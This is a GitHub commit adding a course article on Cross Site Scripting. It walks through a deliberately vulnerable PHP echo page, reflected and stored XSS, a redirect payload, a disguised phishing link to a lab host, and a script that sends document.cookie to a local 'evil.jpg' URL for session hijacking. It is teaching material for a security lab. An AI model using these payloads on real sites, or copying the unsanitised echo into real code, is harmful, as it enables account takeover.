Permalink
Show file tree
Hide file tree
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
6 changed files
with
242 additions
and
0 deletions.
There are no files selected for viewing
BIN
+259 KB
Articles/Image/ConsoleCookie.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
BIN
+172 KB
Articles/Image/XSSCookie.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
BIN
+315 KB
Articles/Image/XSS_ImageCookie.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
BIN
+129 KB
Articles/Image/XSS_Input.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
BIN
+251 KB
Articles/Image/XSS_Result.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,242 @@ | ||
# Cross Site Scripting | ||
|
||
Cross Site Scripting (XSS) is an attack where a malicious attacker | ||
injects executable code (often JavaScript) into another user's browser. | ||
|
||
Rather than target the victim, the attack exploits a vulnerability in the | ||
website that is visited, using this to deliver the malicious JS. To the | ||
victim, the JS appears to be a legitimate part of the website, and | ||
therefore should be executed without the site owner's (or victim's) | ||
knowledge. | ||
|
||
## How it works | ||
|
||
Malicious JS is injected into one of the pages on a website, which | ||
implies that the site will accept (and include) user input in its pages. | ||
Again this goes back to Rule #1 of Web Development (don't trust user | ||
input). | ||
|
||
If the page performs inadequate sanitation on the input, the data | ||
inserted by the attacker will be executed by the victim's browser. | ||
|
||
As an example, consider the following PHP page, that relays data input | ||
in a form: | ||
|
||
~~~ php | ||
<html> | ||
<?php | ||
echo "<p>Form input was ".$_GET["input"]."</p>" | ||
?> | ||
</html> | ||
~~~ | ||
|
||
The code assumes that the user will only input text. So if the user | ||
input was `Hello world` the output would be: | ||
|
||
~~~ html | ||
<html> | ||
<p>Form input was Hello World</p> | ||
</html> | ||
~~~ | ||
|
||
However, if the user input contains JavaScript such as | ||
`<script>alert();</script>` the output becomes: | ||
|
||
![XSS Alertbox Input](Image/XSS_Input.png) | ||
|
||
~~~ html | ||
<html> | ||
<p>Form input was <script>alert()</script></p> | ||
</html> | ||
~~~ | ||
|
||
When the Page is loaded by the browser the code contained between the | ||
script tags will execute. | ||
|
||
![XSS Alertbox Result](Image/XSS_Result.png) | ||
|
||
|
||
## So what can the Bad Guys do with it? | ||
|
||
- Session Jacking | ||
- Key Logging | ||
- Phishing | ||
- All sorts of other fun | ||
|
||
While executing JS in someone else's browser may not seem that bad (for | ||
example, it is hard to get hold of files on the remote system using JS) | ||
there are other options that can take place outside of the browser. | ||
|
||
- JS may have access to Cookie Data | ||
- JS can send HTTP requests to other parts of the web | ||
- JS can modify the HTML of the current page using the DOM | ||
|
||
Again, while these may not directly lead to loss of data, it is possible | ||
to steal credentials (then log in as another user) to escalate the | ||
attack. | ||
|
||
## Types of XSS | ||
|
||
There are three main types of XSS: reflected, stored and DOM (Document | ||
Object Model) manipulation. We will focus on the Reflected and Stored | ||
versions, as the DOM based approach can be seen as an extension of | ||
them. | ||
|
||
### Reflected | ||
|
||
|
||
Traditionally thought of as the 'least dangerous' of XSS style | ||
attacks, here the malicious code is part of the victim's request to the | ||
website. While thought of as 'less dangerous', that is not always the case. | ||
|
||
Inputs to databases are often sanitised, meaning it can be harder to | ||
get a stored XSS attack past the defences. | ||
|
||
On the other hand, reflected attacks will tend to crop up in debugging/user information, | ||
and are only visible to the user who sent the request. This means that | ||
to perform a successful reflected XSS we would need some social | ||
engineering to get the victim to follow the link, but the potential | ||
impact is still high. | ||
|
||
### Stored XSS | ||
|
||
|
||
In this case the malicious code is stored on the website server | ||
itself. Consider the a simple message board, where posts are not | ||
sanitised. If the user submits a message containing malicious JS, this | ||
will be executed for every user who visits the page. | ||
|
||
Overall this is a more dangerous style of attack, as it can target a | ||
wide range of users without us having to put in much effort. However, it | ||
is 'rarer' in the wild, mostly because people are paying more attention | ||
to the dangers of XSS here. | ||
|
||
|
||
# Examples of XSS | ||
|
||
## Window Redirection. | ||
|
||
JavaScript allows us to update the page that is displayed. For a | ||
Phishing style attack we can redirect the current page to elsewhere | ||
(for example, a page that looks much like the login page). This may | ||
enable us to seize user credentials. | ||
|
||
This would use the payload: | ||
|
||
~~~ JavaScript | ||
<script>window.location="http://127.0.0.1:8000/</script> | ||
~~~ | ||
Consider the [XSS Example](http://172.18.0.1/reflected_xss_get.php) | ||
from before. We know the form takes a GET request, then echoes it's | ||
value back to the user. Consider what would happen if we could trick | ||
the user into clicking the following URL. | ||
```../reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>``` | ||
For even more fun consider the following, sent as part of an email or IM: | ||
~~~ {.html} | ||
http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script> | ||
~~~ | ||
Which displays as [A Nice Safe Link](http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>) | ||
Thus (with a bit of luck) we can get code to be displayed on the Victim's | ||
machine through a URL. | ||
## Session Jacking | ||
Attackers can also use XSS to attempt to steal another uses credentials. | ||
Most sites make use of *cookies* to keep track of users. Cookies are a | ||
unique identifier linking a user, to a *session* on the server. This | ||
allows us to keep track of which authenticated user is requesting | ||
information from the server. | ||
However, there is a problem with this approach, as the cookie itself | ||
is used to identify you. If you can obtain the identifying cookie for | ||
a user, then you *are* that user as far as the server is concerned. | ||
We can use JavaScript to get cookie information by requesting the | ||
*document.cookie* as part of the script. | ||
You can see this in a web browser, most modern browsers (Firefox, | ||
Chrome and Edge) have a "Developer / Console Mode", you can find this | ||
by right clicking and looking for "Inspect Element". You can then | ||
type JavaScript into the console, and see the live result. | ||
For example we can see the Cookie for a GitHub page, in the Image below. | ||
![View Cookie in the Console](Image/ConsoleCookie.png) | ||
Taking this one step further we can use XSS to display an alert box | ||
showing the session cookie. For example | ||
~~~ | ||
<script>alert("Your session cookie is "+document.cookie);</script> | ||
~~~ | ||
![Use XSS to Grab a Cookie](Image/XSSCookie.png) | ||
> This may not always be possible, the **HttpOnly** flag can be set | ||
> on a cookie, that instructs the browsers that the cookie should not | ||
> be accessible via JavaScript. | ||
> | ||
> While we like to deride Microsoft and the security of Internet | ||
> Explorer, the HttpOnly flag was their idea, and was first introduced | ||
> in IE6. | ||
> | ||
> However, with the exception of Microsoft!, browser support for this | ||
> is still patchy, and there are a few workarounds in the | ||
> wild. For an interesting discussion see: | ||
> <https://www.owasp.org/index.php/HttpOnly#Browsers_Supporting_HTTPOnly> | ||
So if the website is not setup correctly, we can make use of | ||
JavaScript to access a users cookie. For this proof of concept attack | ||
to work we need two components. | ||
1) Some way of retrieving the captured cookie. | ||
2) A piece of JavaScript that will grab the users session cookie | ||
The first stage is reliably easy. If we have a publicly accessible | ||
web server, we can request a page from this and include the session | ||
cookie. The page request including the cookie value will show up in | ||
the Logs for the server. | ||
For the second task we need some way of making a web request, the | ||
traditional method it to insert a image into the page, and append the | ||
cookie to the image URL. The following JavaScript will: | ||
- Ask the server at ```127.0.0.1``` for the ```evil.jpg``` image | ||
- Append the cookie as a parameter to the request. | ||
~~~ | ||
<script> | ||
new Image().src="http://127.0.0.1:8000/evil.jpg?output="+document.cookie; | ||
</script> | ||
~~~ | ||
|
||
The image below shows the result of this. The right hand window is a | ||
HTTP web server listening for the connection. You can see that the | ||
cookie has been included as part of the Web request. | ||
|
||
![Session Jacking with XSS](Image/Xss_ImageCookie.png) | ||
|
||
We can now modify our own cookie, using the information that has been | ||
sent across and become a different user. | ||
|
||
## Summary | ||
|
||
In this article we have looked at Cross Site Scripting (XSS), and | ||
introduced some of the ways that hackers can use XSS to manipulate how | ||
web page behaves. In the Lab session we will have a demonstration of | ||
XSS, and use it to steal each others credentials. | ||
|
||
|
||
# Links | ||
|
||
[Cookies and | ||
Sessions](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Session_Management_Cheat_Sheet.md) | ||
[OWASP on | ||
XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) |